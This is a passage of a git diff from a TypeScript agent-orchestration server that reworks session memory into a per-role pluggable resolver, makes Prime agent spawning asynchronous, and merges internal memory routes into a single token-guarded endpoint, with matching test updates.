import { } from "./agentConfig.ts"; import { loadInstalledConfig } from "./config/bundleLoader.ts"; import type { HostResourcePreamble } from "./hostResourcePreamble.ts"; -import type { MemoryManager } from "./memory.ts"; import { type AgentDescriptor, type AgentEvent, @@ -261,6 +265,31 @@ const BUILTIN_EXTENSIONS = [ REMOTE_TOOLS_EXTENSION, ]; +/** A no-op spawn plan, used when a session resolved no pluggable-memory extras. */ +const EMPTY_MEMORY_PLAN: MemorySpawnPlan = { + env: {}, + extensionPaths: [], + allowlistTools: [], + deniedTools: [], +}; + +/** + * The deduped `--tools` allowlist. Memory tools are granted at spawn from the + * resolved memory (not baked into the static allowlist), so a pi-memory-bound + * session gets that backend's tools in addition to the always-on SimpleMD tools. + * Memory tools the role may not use are dropped even when a spawn request or + * template lists them. + */ +function spawnToolList(config: AgentConfig, memory: MemorySpawnPlan): string[] { + const denied = new Set(memory.deniedTools); + return [ + ...new Set([ + ...config.tools.filter((name) => !denied.has(name)), + ...memory.allowlistTools, + ]), + ]; +} + /** * Builds the `pi --mode rpc` CLI args for an agent process. The appended system * prompt is passed as a file path (not inline text): it embeds the unbounded @@ -272,8 +301,11 @@ function buildPiArgs( config: AgentConfig, extras: SpawnExtras, appendPromptSource: string | undefined, + memoryPlan: MemorySpawnPlan | undefined, ): string[] { const { provider, model, thinking } = resolveModelArgs(config); + const memory = memoryPlan ?? EMPTY_MEMORY_PLAN; + const tools = spawnToolList(config, memory); const args = [ "--mode", "rpc", @@ -289,7 +321,7 @@ function buildPiArgs( "--thinking", thinking, "--tools", - config.tools.join(","), + tools.join(","), ]; if (appendPromptSource) @@ -299,11 +331,13 @@ function buildPiArgs( args.push("--extension", extension); // Bundle-provided skills, workflows, and custom tool extensions, applied to - // every agent in the session so they share the bundle's capabilities. + // every agent in the session so they share the bundle's capabilities, plus any + // extra extensions the resolved memory contributes (e.g. the pi-memory pkg). const flagged: Array<[string, string[]]> = [ ["--skill", extras.skillPaths], ["--prompt-template", extras.workflowPaths], ["--extension", extras.extensionPaths], + ["--extension", memory.extensionPaths], ]; for (const [flag, paths] of flagged) { for (const value of paths) args.push(flag, value); @@ -371,6 +405,19 @@ function backfillSessionRecord( record.env ??= values.env; } +/** + * Caller-supplied inputs for a Prime spawn (see {@link PiAgentManager.ensure}). + * Concurrent `ensure` calls for one session share the first caller's options. + */ +export interface PrimeSpawnOptions { + config?: ResolvedSessionConfig; + primeOverride?: AgentModelSelection; + user?: UserIdentity; + /** Prime's home Conversation; defaults to Prime's own id. */ + homeConversationId?: string; + env?: Record; +} + /** * A persisted roster row is eligible for revive when it is a sub-agent (Prime is * handled by {@link PiAgentManager.ensure}) that is not terminal and isn't @@ -462,6 +509,15 @@ function expandEnvPlaceholders( ); } +/** Drops pi-memory's `PI_MEMORY_*` knobs from an inherited env. */ +function withoutMemoryEnv( + env: Record, +): Record { + return Object.fromEntries( + Object.entries(env).filter(([key]) => !key.startsWith("PI_MEMORY_")), + ); +} + /** * The environment a spawned Pi process inherits, tagging it with its session. * The session-scoped `env` is sanitized ({@link sanitizeSessionEnv} strips @@ -469,17 +525,23 @@ function expandEnvPlaceholders( * namespace), has its `{{...}}` placeholders expanded ({@link * expandEnvPlaceholders}), and is spread first, so the reserved identity and * credential keys that follow always win. A host can add safe vars but never - * clobber the internal ones or hijack process loading. + * clobber the internal ones or hijack process loading. When the resolved memory + * pins env, memory-owned keys inherited from the server or the session are + * dropped so only the binding configures the store. */ function spawnEnv( sessionId: string, descriptor: AgentDescriptor, ctx: PlaceholderContext, sessionEnv?: Record, + memoryEnv?: Record, ): NodeJS.ProcessEnv { + const pinsMemory = Object.keys(memoryEnv ?? {}).length > 0; + const session = expandEnvPlaceholders(sanitizeSessionEnv(sessionEnv), ctx); return { - ...process.env, - ...expandEnvPlaceholders(sanitizeSessionEnv(sessionEnv), ctx), + ...(pinsMemory ? withoutMemoryEnv(process.env) : process.env), + ...(pinsMemory ? withoutMemoryEnv(session) : session), + ...(memoryEnv ?? {}), TANGENT_SESSION_ID: sessionId, TANGENT_AGENT_ID: descriptor.agentId, TANGENT_AGENT_ROLE: descriptor.role, @@ -568,8 +630,11 @@ function logSpawn( extras: SpawnExtras, appendPromptFile: string | null, appendPromptBytes: number, + memoryPlan: MemorySpawnPlan | undefined, ): void { const { provider, model, thinking } = resolveModelArgs(config); + const memory = memoryPlan ?? EMPTY_MEMORY_PLAN; + const tools = spawnToolList(config, memory); console.log( `[pi:${sessionId}:${descriptor.agentId}] spawning`, JSON.stringify({ @@ -581,10 +646,11 @@ function logSpawn( thinking, proxyUrl: PI_PROXY_URL, hasProxyApiKey: Boolean(process.env.PI_PROXY_API_KEY), - tools: config.tools.join(","), + tools: tools.join(","), skills: extras.skillPaths, workflows: extras.workflowPaths, - extensions: extras.extensionPaths, + extensions: [...extras.extensionPaths, ...memory.extensionPaths], + memoryEnv: Object.keys(memory.env), appendPromptFile, appendPromptBytes, }), @@ -690,7 +756,7 @@ function buildAgentProcess( export class PiAgentManager { private readonly sessions = new Map(); private readonly handlers: ConversationEventSink; - private readonly memory: MemoryManager; + private readonly memory: MemoryResolver; /** * The Runs this manager's agents work under. Pi is the authority on its own * run boundaries (`agent_start` opens, `agent_end` settles), so it opens and @@ -712,10 +778,13 @@ export class PiAgentManager { * handler when the status actually changes (busy flags toggle frequently). */ private readonly lastStatus = new Map(); + /** Prime spawns awaiting memory resolution, so concurrent {@link ensure} + * calls share one; cleared by {@link dispose} to cancel a pending spawn. */ + private readonly ensuring = new Map>(); constructor( handlers: ConversationEventSink, - memory: MemoryManager, + memory: MemoryResolver, runs: RunRegistry, hostResources?: HostResourcePreamble, spawnProcess: typeof spawn = spawn, @@ -781,6 +850,22 @@ export class PiAgentManager { this.handlers.onSessionStatus(sessionId, status); } + /** The session's full memory resolution, or SimpleMD-only if it can't load. */ + private async resolveSessionMemory( + sessionId: string, + rootPath: string, + ): Promise { + try { + return await this.memory.resolve(sessionId, rootPath); + } catch (err) { + console.warn( + `[pi:${sessionId}] failed to resolve session memory; using SimpleMD only:`, + err, + ); + return this.memory.resolveDefault(sessionId, rootPath); + } + } + /** * Spawns the session's Prime process if it isn't already running. When a * `config` (resolved from a Configuration Bundle) is supplied on first @@ -793,33 +878,63 @@ export class PiAgentManager { * receives exactly the same configuration the session was created with — * Prime's prompt/tools, sub-agent templates/defaults, and skill/workflow/ * extension paths — rather than silently falling back to the global default. + * + * The session's memory is resolved here on every Prime spawn, so whichever + * caller ensures first, Prime gets the session's current binding. Concurrent + * calls share one in-flight spawn. */ ensure( sessionId: string, rootPath: string, - config?: ResolvedSessionConfig, - primeOverride?: AgentModelSelection, - user?: UserIdentity, - homeConversationId: string = PRIME_AGENT_ID, - env?: Record, + options: PrimeSpawnOptions = {}, + ): Promise { + if (this.sessions.get(sessionId)?.agents.has(PRIME_AGENT_ID)) { + return Promise.resolve(); + } + const pending = this.ensuring.get(sessionId); + if (pending) return pending; + + const run: Promise = this.resolveSessionMemory( + sessionId, + rootPath, + ).then((memory) => { + if (this.ensuring.get(sessionId) !== run) return; + this.ensuring.delete(sessionId); + this.spawnPrime(sessionId, rootPath, memory, options); + }); + this.ensuring.set(sessionId, run); + return run; + } + + /** Spawns Prime with a freshly resolved memory (see {@link ensure}). */ + private spawnPrime( + sessionId: string, + rootPath: string, + memory: ResolvedMemory, + options: PrimeSpawnOptions, ): void { const existing = this.sessions.get(sessionId); if (existing?.agents.has(PRIME_AGENT_ID)) return; warnMissingProxyEnv(); - // Prepare memory before the first spawn so the preamble reflects any - // bundle-seeded session memory and the current global store. - this.memory.initSession(rootPath); - - const effectiveConfig = resolveEffectiveConfig(config, existing, rootPath); + const effectiveConfig = resolveEffectiveConfig( + options.config, + existing, + rootPath, + ); const session = this.upsertSessionRecord( sessionId, rootPath, effectiveConfig, - user, - env, + options.user, + options.env, + memory, ); + + // Prepare memory before the first spawn so the preamble reflects any + // bundle-seeded session memory and the current global store. + memory.init(); const primeConfig = session.config?.prime ?? getPrimeAgentConfig(); this.spawnAgent( sessionId, @@ -828,9 +943,9 @@ export class PiAgentManager { agentId: PRIME_AGENT_ID, role: "prime", name: "Prime", - homeConversationId, + homeConversationId: options.homeConversationId ?? PRIME_AGENT_ID, }, - withModelSelection(primeConfig, primeOverride), + withModelSelection(primeConfig, options.primeOverride), ); } @@ -907,7 +1022,8 @@ export class PiAgentManager { * access. Identity and config are backfilled on a re-spawn (e.g. after a * server restart) when the caller supplies the persisted user or a recovered * config but the existing record predates them; an already-captured config is - * otherwise left untouched. + * otherwise left untouched. The memory resolution is always replaced: it was + * just resolved for this Prime spawn. */ private upsertSessionRecord( sessionId: string, @@ -915,10 +1031,12 @@ export class PiAgentManager { config: ResolvedSessionConfig | undefined, user: UserIdentity | undefined, env: Record | undefined, + resolvedMemory: ResolvedMemory, ): SessionAgents { const existing = this.sessions.get(sessionId); if (existing) { backfillSessionRecord(existing, { config, user, env }); + existing.resolvedMemory = resolvedMemory; return existing; } @@ -928,6 +1046,7 @@ export class PiAgentManager { config, user, env, + resolvedMemory, }; this.sessions.set(sessionId, created); return created; @@ -1176,6 +1295,18 @@ export class PiAgentManager { return Boolean(this.sessions.get(sessionId)?.agents.has(agentId)); } + /** The memory a live agent was spawned with, and its role; `undefined` when + * the agent isn't running here. */ + memoryCaller( + sessionId: string, + agentId: string, + ): { memory: ResolvedMemory; role: AgentProcess["role"] } | undefined { + const session = this.sessions.get(sessionId); + const agent = session?.agents.get(agentId); + if (!session?.resolvedMemory || !agent) return undefined; + return { memory: session.resolvedMemory, role: agent.role }; + } + /** Returns the session's sub-agent roster (Prime excluded). */ listSubagents(sessionId: string): SubagentInfo[] { const session = this.sessions.get(sessionId); @@ -1187,6 +1318,7 @@ export class PiAgentManager { /** Kills every agent in the session and clears its state. */ dispose(sessionId: string): void { + this.ensuring.delete(sessionId); const session = this.sessions.get(sessionId); if (!session) return; this.sessions.delete(sessionId); @@ -1210,10 +1342,14 @@ export class PiAgentManager { * current user, the session + global memory, and the host resources the * embedding app attached. Empty entries are dropped downstream. */ - private spawnPreambles(sessionId: string, session: SessionAgents): string[] { + private spawnPreambles( + sessionId: string, + session: SessionAgents, + role: AgentDescriptor["role"], + ): string[] { return [ buildUserPreamble(session.user), - this.memory.buildPreamble(session.rootPath), + session.resolvedMemory?.preamble(role) ?? "", this.hostResources?.get(sessionId) ?? "", ]; } @@ -1233,10 +1369,11 @@ export class PiAgentManager { extras: SpawnExtras, appendPromptSource: string | undefined, ): ChildProcessWithoutNullStreams | null { + const memoryPlan = session.resolvedMemory?.spawnPlan(descriptor.role); try { return this.spawnProcess( PI_BIN, - buildPiArgs(config, extras, appendPromptSource), + buildPiArgs(config, extras, appendPromptSource, memoryPlan), { cwd: session.rootPath, env: spawnEnv( @@ -1244,6 +1381,7 @@ export class PiAgentManager { descriptor, { rootPath: session.rootPath }, session.env, + memoryPlan?.env, ), stdio: ["pipe", "pipe", "pipe"], }, @@ -1275,7 +1413,7 @@ export class PiAgentManager { const extras = spawnExtras(session.config); const appendText = appendPreambles( config, - this.spawnPreambles(sessionId, session), + this.spawnPreambles(sessionId, session, descriptor.role), ); const appendPromptSource = materializeAppendPrompt( sessionId, @@ -1290,6 +1428,7 @@ export class PiAgentManager { extras, appendText ? promptFilePath(sessionId, descriptor.agentId) : null, Buffer.byteLength(appendText), + session.resolvedMemory?.spawnPlan(descriptor.role), ); const child = this.trySpawnChild( diff --git a/apps/server/src/pi/triggers/triggerEngine.test.ts b/apps/server/src/pi/triggers/triggerEngine.test.ts index 0227630e..e6d32baa 100644 --- a/apps/server/src/pi/triggers/triggerEngine.test.ts +++ b/apps/server/src/pi/triggers/triggerEngine.test.ts @@ -5,14 +5,14 @@ import type { Server } from "socket.io"; import type { ConversationRouter } from "../../conversation/conversationRouter.ts"; import type { SessionStore } from "../../store/sessionStore.ts"; -import type { PiAgentManager } from "../piAgentManager.ts"; +import type { PiAgentManager, PrimeSpawnOptions } from "../piAgentManager.ts"; import { TriggerEngine } from "./triggerEngine.ts"; import type { StoredTrigger, TriggerManager } from "./triggerManager.ts"; const SESSION_ENV = { STUDIO_ENGINE_URL: "http://127.0.0.1:8100" }; function engineFor(target: StoredTrigger["target"]) { - const ensured: unknown[][] = []; + const ensured: PrimeSpawnOptions[] = []; const stored = { id: "t1", name: "engine-step", @@ -27,8 +27,8 @@ function engineFor(target: StoredTrigger["target"]) { recordAgent: async () => undefined, } as unknown as SessionStore; const pi = { - ensure: (...args: unknown[]) => { - ensured.push(args); + ensure: async (_id: string, _root: string, options: PrimeSpawnOptions) => { + ensured.push(options); }, hasAgent: () => true, } as unknown as PiAgentManager; @@ -53,7 +53,7 @@ function engineFor(target: StoredTrigger["target"]) { test("a Prime-target firing revives Prime with the session's env", async () => { const { engine, ensured } = engineFor({ type: "prime" }); await engine.fire("s1", "/tmp/s1", "t1", { body: { prompt: "go" } }); - assert.deepEqual(ensured[0]?.[6], SESSION_ENV); + assert.deepEqual(ensured[0]?.env, SESSION_ENV); }); test("a sub-agent-target firing revives Prime with the session's env", async () => { @@ -63,5 +63,5 @@ test("a sub-agent-target firing revives Prime with the session's env", async () spec: { name: "worker" }, } as StoredTrigger["target"]); await engine.fire("s1", "/tmp/s1", "t1", { body: { prompt: "go" } }); - assert.deepEqual(ensured[0]?.[6], SESSION_ENV); + assert.deepEqual(ensured[0]?.env, SESSION_ENV); }); diff --git a/apps/server/src/pi/triggers/triggerEngine.ts b/apps/server/src/pi/triggers/triggerEngine.ts index 4b493ced..07143899 100644 --- a/apps/server/src/pi/triggers/triggerEngine.ts +++ b/apps/server/src/pi/triggers/triggerEngine.ts @@ -250,15 +250,7 @@ export class TriggerEngine { ): Promise { const { orchestratorId, homeConversationId: primaryConversationId } = await orchestratorIdentity(this.store, sessionId); - this.pi.ensure( - sessionId, - rootPath, - undefined, - undefined, - undefined, - primaryConversationId, - await this.store.getSessionEnv(sessionId), - ); + await this.ensurePrime(sessionId, rootPath, primaryConversationId); await this.ensureTriggerParticipant(sessionId, stored); await this.conversations.post({ sessionId, @@ -282,16 +274,7 @@ export class TriggerEngine { stored: StoredTrigger, prompt: string, ): Promise { - this.pi.ensure( - sessionId, - rootPath, - undefined, - undefined, - undefined, - await orchestratorConversationFor(this.store, sessionId), - await this.store.getSessionEnv(sessionId), - ); - const { agentId } = this.ensureSubagent(sessionId, rootPath, stored); + const { agentId } = await this.ensureSubagent(sessionId, rootPath, stored); await this.ensureTriggerParticipant(sessionId, stored); await this.conversations.post({ sessionId, @@ -324,10 +307,28 @@ export class TriggerEngine { * Eagerly spawns a freshly created `subagent`-target trigger's sub-agent so it * exists before the first firing. No-op for a Prime-target or unknown trigger. */ - provision(sessionId: string, rootPath: string, triggerId: string): void { + async provision( + sessionId: string, + rootPath: string, + triggerId: string, + ): Promise { const stored = this.triggers.getStored(sessionId, triggerId); if (!stored || stored.target.type !== "subagent") return; - this.ensureSubagent(sessionId, rootPath, stored); + await this.ensureSubagent(sessionId, rootPath, stored); + } + + /** Spawns the session's Prime if needed, with its persisted env and home. */ + private async ensurePrime( + sessionId: string, + rootPath: string, + homeConversationId?: string, + ): Promise { + await this.pi.ensure(sessionId, rootPath, { + homeConversationId: + homeConversationId ?? + (await orchestratorConversationFor(this.store, sessionId)), + env: await this.store.getSessionEnv(sessionId), + }); } /** @@ -335,13 +336,13 @@ export class TriggerEngine { * when present or spawning a fresh one from the stored spec. Persists the live * sub-agent id back onto the trigger and the session's agent roster. */ - private ensureSubagent( + private async ensureSubagent( sessionId: string, rootPath: string, stored: StoredTrigger, - ): { agentId: string; agentName: string } { + ): Promise<{ agentId: string; agentName: string }> { // The session/Prime record must exist before a sub-agent can be spawned. - this.pi.ensure(sessionId, rootPath); + await this.ensurePrime(sessionId, rootPath); const target = stored.target; if (target.type !== "subagent") { diff --git a/apps/server/src/pi/types.ts b/apps/server/src/pi/types.ts index 9d29c2c7..41bfff88 100644 --- a/apps/server/src/pi/types.ts +++ b/apps/server/src/pi/types.ts @@ -12,6 +12,7 @@ import type { UserIdentity, } from "@tangent/shared/contracts.ts"; +import type { ResolvedMemory } from "../memory/resolver.ts"; import type { AgentConfig, ResolvedSessionConfig } from "./agentConfig.ts"; /** Fixed id of the session's Prime agent (one per session). */ @@ -213,6 +214,13 @@ export interface SessionAgents { * without any. */ env?: Record; + /** + * The session's resolved pluggable memory, re-resolved on every Prime spawn by + * {@link import("./piAgentManager.ts").PiAgentManager.ensure} so every agent + * spawned under that Prime (and every revive / model-change / respawn) shares + * the same preamble, dispatcher tools, and spawn extras. + */ + resolvedMemory?: ResolvedMemory; } /** A single delta payload nested inside a `message_update` event. */ diff --git a/apps/server/src/routes/internalMemory.ts b/apps/server/src/routes/internalMemory.ts index a434a2ec..55a84ad0 100644 --- a/apps/server/src/routes/internalMemory.ts +++ b/apps/server/src/routes/internalMemory.ts @@ -1,9 +1,11 @@ import { type Request, type Response, Router } from "express"; import { z } from "zod"; +import type { MemoryResolver, ResolvedMemory } from "../memory/resolver.ts"; +import type { AgentRole, MemoryEffect } from "../memory/types.ts"; import { requireInternalToken } from "../middleware/requireInternalToken.ts"; import { getValidated, validate } from "../middleware/validate.ts"; -import type { MemoryManager } from "../pi/memory.ts"; +import type { PiAgentManager } from "../pi/piAgentManager.ts"; import type { MemoryRememberedHandler, MemorySuggestionHandler, @@ -11,143 +13,134 @@ import type { import type { SessionStore } from "../store/sessionStore.ts"; import { loadSession } from "./sessions/utils.ts"; -/** `GET /read` query: the session whose memory to read. */ -const readQuerySchema = z.object({ +/** `POST /call` body: a dispatcher memory tool call for a session. */ +const callBodySchema = z.object({ sessionId: z.string(), + agentId: z.string().optional(), + name: z.string().min(1), + params: z.record(z.string(), z.unknown()).default({}), }); -type ReadQuery = z.infer; +type CallBody = z.infer; -// `scope` defaults to "session" so a missing scope behaves as before; an -// explicitly invalid scope is now rejected with a 400 rather than coerced. -const scopeSchema = z.enum(["global", "session"]).default("session"); +/** The live agents whose spawn-time memory a call runs against. */ +type MemoryCallers = Pick; -/** `POST /remember` body: applies a memory write for a session. */ -const rememberBodySchema = z.object({ - sessionId: z.string(), - scope: scopeSchema, - text: z.string().trim().min(1), - replaces: z.string().optional(), -}); -type RememberBody = z.infer; - -/** `POST /suggest` body: records a pending suggestion for a session. */ -const suggestBodySchema = z.object({ - sessionId: z.string(), - scope: scopeSchema, - text: z.string().trim().min(1), -}); -type SuggestBody = z.infer; +/** Everything `/call` needs to resolve a caller and apply its effects. */ +export interface MemoryCallDeps { + store: SessionStore; + resolver: MemoryResolver; + agents: MemoryCallers; + onRemembered: MemoryRememberedHandler; + onSuggestion: MemorySuggestionHandler; +} -/** `GET /read`: returns the current session + global memory text. */ -async function handleRead( +/** The caller's recorded role; an unknown or missing agent gets the least + * privileged one. */ +async function callerRole( store: SessionStore, - memory: MemoryManager, - query: ReadQuery, - res: Response, -): Promise { - const session = await loadSession(store, res, query.sessionId); - if (!session) return; - res.json({ - session: memory.readSession(session.rootPath), - global: memory.readGlobal(), - }); + sessionId: string, + agentId: string | undefined, +): Promise { + if (!agentId) return "subagent"; + const agents = await store.listAgents(sessionId); + const agent = agents.find((row) => row.id === agentId); + return agent?.role === "prime" ? "prime" : "subagent"; } -/** `POST /remember`: applies a write and surfaces the highlight. */ -async function handleRemember( - store: SessionStore, - memory: MemoryManager, +/** + * The memory and role a call runs with: the live agent's spawn-time resolution + * when it is running here, else a fresh resolution and the recorded role. + */ +async function callerMemory( + deps: MemoryCallDeps, + sessionId: string, + rootPath: string, + agentId: string | undefined, +): Promise<{ memory: ResolvedMemory; role: AgentRole }> { + const live = agentId && deps.agents.memoryCaller(sessionId, agentId); + if (live) return live; + return { + memory: await deps.resolver.resolve(sessionId, rootPath), + role: await callerRole(deps.store, sessionId, agentId), + }; +} + +/** Applies a backend's side-effects (chat highlight, suggestion card). */ +async function applyEffects( + effects: MemoryEffect[] | undefined, + sessionId: string, onRemembered: MemoryRememberedHandler, - body: RememberBody, + onSuggestion: MemorySuggestionHandler, +): Promise { + for (const effect of effects ?? []) { + if (effect.kind === "remembered") { + await onRemembered(sessionId, effect.scope, effect.text); + } else { + onSuggestion({ + sessionId, + suggestionId: effect.suggestionId, + scope: effect.scope, + text: effect.text, + }); + } + } +} + +/** + * `POST /call`: dispatches the named tool to the backend that owns it in the + * caller's memory, performs any side-effects it asks for, and returns the + * agent-facing text. Writes are applied here (the server is the sole writer) so + * the UI highlight reflects the real file change rather than the agent's claim. + */ +async function handleCall( + deps: MemoryCallDeps, + body: CallBody, res: Response, ): Promise { - const session = await loadSession(store, res, body.sessionId); + const session = await loadSession(deps.store, res, body.sessionId); if (!session) return; - const result = memory.write( + const { memory, role } = await callerMemory( + deps, + session.id, session.rootPath, - body.scope, - body.text, - body.replaces, + body.agentId, ); - await onRemembered(body.sessionId, result.scope, result.added); - res.json({ stored: result.stored, scope: result.scope }); -} + const result = memory.execute(body.name, body.params, role); + if (!result) { + res.status(400).json({ error: `Unknown memory tool "${body.name}"` }); + return; + } + if (result.error) { + res.status(400).json({ error: result.text }); + return; + } -/** `POST /suggest`: records a pending suggestion and emits its card. */ -function handleSuggest( - memory: MemoryManager, - onSuggestion: MemorySuggestionHandler, - body: SuggestBody, - res: Response, -): void { - const suggestion = memory.addSuggestion( - body.sessionId, - body.scope, - body.text, + await applyEffects( + result.effects, + session.id, + deps.onRemembered, + deps.onSuggestion, ); - onSuggestion({ - sessionId: body.sessionId, - suggestionId: suggestion.id, - scope: body.scope, - text: suggestion.text, - }); - res.json({ ok: true, suggestionId: suggestion.id }); + res.json({ text: result.text }); } /** - * Internal API used only by the memory extension running inside each Pi - * process. It lets any agent read the session + global memory and lets Prime - * write to (or propose changes to) them. Guarded by the same bearer token as - * the agent API so arbitrary local callers can't mutate memory. - * - * Writes are applied here (the server is the sole writer) and surfaced to the - * room via the injected handlers, so the UI highlight reflects the real file - * change rather than the agent's narration. + * Internal API used only by the memory extension running inside each Pi process. + * It dispatches a dispatcher-backed tool against the calling agent's memory and + * surfaces side-effects to the room. Guarded by the same bearer token as the + * agent API so arbitrary local callers can't mutate memory. */ -export function createInternalMemoryRouter( - store: SessionStore, - memory: MemoryManager, - onRemembered: MemoryRememberedHandler, - onSuggestion: MemorySuggestionHandler, -): Router { +export function createInternalMemoryRouter(deps: MemoryCallDeps): Router { const router = Router(); router.use(requireInternalToken); - router.get( - "/read", - validate({ query: readQuerySchema }), - (req: Request, res: Response) => - handleRead( - store, - memory, - getValidated(req).query, - res, - ), - ); - router.post( - "/remember", - validate({ body: rememberBodySchema }), - (req: Request, res: Response) => - handleRemember( - store, - memory, - onRemembered, - getValidated(req).body, - res, - ), - ); router.post( - "/suggest", - validate({ body: suggestBodySchema }), + "/call", + validate({ body: callBodySchema }), (req: Request, res: Response) => - handleSuggest( - memory, - onSuggestion, - getValidated(req).body, - res, - ), + handleCall(deps, getValidated(req).body, res), ); return router; diff --git a/apps/server/src/routes/internalTriggers.ts b/apps/server/src/routes/internalTriggers.ts index a770eed8..c2abbfc7 100644 --- a/apps/server/src/routes/internalTriggers.ts +++ b/apps/server/src/routes/internalTriggers.ts @@ -115,7 +115,7 @@ async function handleCreate( try { const trigger = triggers.create(session.id, session.rootPath, body); // Eagerly spawn the dedicated sub-agent so it exists before the first firing. - triggerEngine.provision(session.id, session.rootPath, trigger.id); + await triggerEngine.provision(session.id, session.rootPath, trigger.id); triggerEngine.afterChange(session.id, session.rootPath); res.json({ trigger: triggers.get(session.id, trigger.id) ?? trigger }); } catch (err) { diff --git a/apps/server/src/routes/sessions/createSessionEnv.test.ts b/apps/server/src/routes/sessions/createSessionEnv.test.ts index 5591a21f..91d40701 100644 --- a/apps/server/src/routes/sessions/createSessionEnv.test.ts +++ b/apps/server/src/routes/sessions/createSessionEnv.test.ts @@ -4,8 +4,11 @@ import { tmpdir } from "node:os"; import path from "node:path"; import { after, test } from "node:test"; +import type { MemoryBinding } from "@tangent/shared/contracts.ts"; import { zipSync } from "fflate"; +import type { PrimeSpawnOptions } from "../../pi/piAgentManager.ts"; + // Point the session root at a throwaway dir before importing modules that read // config at load time. const ROOT = mkdtempSync(path.join(tmpdir(), "create-session-env-")); @@ -62,16 +65,12 @@ test("handleCreateSession persists env and forwards it into pi.ensure", async () let ensureEnv: Record | undefined; const pi = { - ensure: ( + ensure: async ( _sessionId: string, _rootPath: string, - _config: unknown, - _override: unknown, - _user: unknown, - _conversationId: string, - env?: Record, + options: PrimeSpawnOptions, ) => { - ensureEnv = env; + ensureEnv = options.env; }, }; @@ -80,8 +79,7 @@ test("handleCreateSession persists env and forwards it into pi.ensure", async () pi, triggerEngine: { seed: () => {} }, agentBundleStore: { readBundle: async () => zip }, - memory: { initSession: () => {} }, - resources: {}, + resources: { listForSession: async () => [] }, hostPreamble: { refresh: async () => {} }, emitResourcesUpdated: () => {}, } as unknown as Parameters[0]; @@ -106,3 +104,50 @@ test("handleCreateSession persists env and forwards it into pi.ensure", async () ); assert.deepEqual(ensureEnv, env, "env is forwarded into the Prime spawn"); }); + +/** Creates a session with `memory`, returning the binding it ended up storing + * and the order the memory and trigger steps ran in. */ +async function createWithMemory(memory: MemoryBinding) { + const store = new InMemorySessionStore(); + const steps: string[] = []; + const setSessionMemory = store.setSessionMemory.bind(store); + store.setSessionMemory = async (...args) => { + steps.push("memory"); + return setSessionMemory(...args); + }; + const deps = { + store, + pi: { ensure: async () => {} }, + triggerEngine: { seed: () => steps.push("triggers") }, + agentBundleStore: { readBundle: async () => packMinimalBundle() }, + resources: { listForSession: async () => [] }, + hostPreamble: { refresh: async () => {} }, + emitResourcesUpdated: () => {}, + } as unknown as Parameters[0]; + + const response = new TestResponse(); + await handleCreateSession( + deps, + { headers: {} } as unknown as Parameters[1], + { bundleId: "test-bundle", memory }, + response as unknown as Parameters[3], + ); + assert.equal(response.statusCode, 201, "the session is created"); + const sessionId = (response.body as { session: { id: string } }).session.id; + return { stored: await store.getSessionMemory(sessionId), steps }; +} + +test("handleCreateSession stores a session-local pi-memory binding before arming triggers", async () => { + const { stored, steps } = await createWithMemory({ kind: "pi-memory" }); + assert.deepEqual(stored, { kind: "pi-memory" }); + assert.deepEqual(steps, ["memory", "triggers"]); +}); + +test("handleCreateSession drops pi-memory whose folder wasn't mounted", async (t) => { + t.mock.method(console, "warn", () => {}); + const { stored } = await createWithMemory({ + kind: "pi-memory", + root: "proj/pi-memory", + }); + assert.equal(stored, undefined, "the session is SimpleMD-only for good"); +}); diff --git a/apps/server/src/routes/sessions/handlers.ts b/apps/server/src/routes/sessions/handlers.ts index 3f1f9fd2..0c2fa88e 100644 --- a/apps/server/src/routes/sessions/handlers.ts +++ b/apps/server/src/routes/sessions/handlers.ts @@ -5,6 +5,7 @@ import path from "node:path"; import type { Attachment, HostResourceInput, + MemoryBinding, Session, SessionActivity, SessionConfigMeta, @@ -24,6 +25,8 @@ import { import { applyResourceInput } from "../../conversation/hostResources.ts"; import { orchestratorConversationFor } from "../../conversation/participantRegistry.ts"; import type { ResourceCatalog } from "../../conversation/resourceCatalog.ts"; +import { mountedFolderPaths, settleBinding } from "../../memory/binding.ts"; +import { removeSessionQmdState } from "../../memory/qmdState.ts"; import { installBundle } from "../../pi/config/bundleLoader.ts"; import type { HostResourcePreamble } from "../../pi/hostResourcePreamble.ts"; import type { MemoryManager } from "../../pi/memory.ts"; @@ -182,6 +185,25 @@ async function seedResources( deps.emitResourcesUpdated(sessionId); } +/** + * Settles and stores the session's memory binding. Runs after the seed mounts + * exist, so a missing store folder makes the session SimpleMD-only for good + * rather than until some later respawn, and a binding can only reach the + * folders the session actually mounted. + */ +async function storeSessionMemory( + deps: SessionCreateDeps, + sessionId: string, + rootPath: string, + requested: MemoryBinding | undefined, +): Promise { + const mounts = mountedFolderPaths( + await deps.resources.listForSession(sessionId), + ); + const binding = settleBinding(requested, sessionId, rootPath, mounts); + if (binding) await deps.store.setSessionMemory(sessionId, binding); +} + /** * Pre-seeds Prime's first message so the bundle's agent "speaks first" (e.g. * renders a welcome card). It replays via `chat:history` on join and renders any @@ -223,6 +245,7 @@ async function createSessionFromBundle( user: UserIdentity | undefined, resources: HostResourceInput[], env: Record | undefined, + memoryOverride: MemoryBinding | undefined, res: Response, ): Promise { const { store, pi, triggerEngine } = deps; @@ -236,9 +259,6 @@ async function createSessionFromBundle( }; const withConfig = await store.attachConfig(sessionId, meta); - // Seed the bundle's declared triggers and arm any schedules. - triggerEngine.seed(sessionId, rootPath, manifest.triggers); - const primaryConversationId = await orchestratorConversationFor( store, sessionId, @@ -251,19 +271,27 @@ async function createSessionFromBundle( ); await seedResources(deps, sessionId, rootPath, resources, user); - - pi.ensure( + await storeSessionMemory( + deps, sessionId, rootPath, + memoryOverride ?? config.memory, + ); + + // Armed only once the binding is stored: a firing spawns Prime, which + // resolves memory exactly once. + triggerEngine.seed(sessionId, rootPath, manifest.triggers); + + await pi.ensure(sessionId, rootPath, { config, - undefined, user, - primaryConversationId, + homeConversationId: primaryConversationId, env, - ); + }); res.status(201).json({ session: withConfig }); } catch (err) { await store.deleteSession(sessionId); + removeSessionQmdState(sessionId); res.status(400).json({ error: (err as Error).message }); } } @@ -314,6 +342,7 @@ export async function handleCreateSession( user, body.resources ?? [], body.env, + body.memory, res, ); } @@ -459,5 +488,6 @@ export async function handleDeleteSession( } pi.dispose(id); triggerEngine.dispose(id); + removeSessionQmdState(id); res.status(204).end(); } diff --git a/apps/server/src/routes/sessions/schemas.ts b/apps/server/src/routes/sessions/schemas.ts index 1d5664c6..50b01067 100644 --- a/apps/server/src/routes/sessions/schemas.ts +++ b/apps/server/src/routes/sessions/schemas.ts @@ -2,6 +2,7 @@ import { THINKING_LEVELS } from 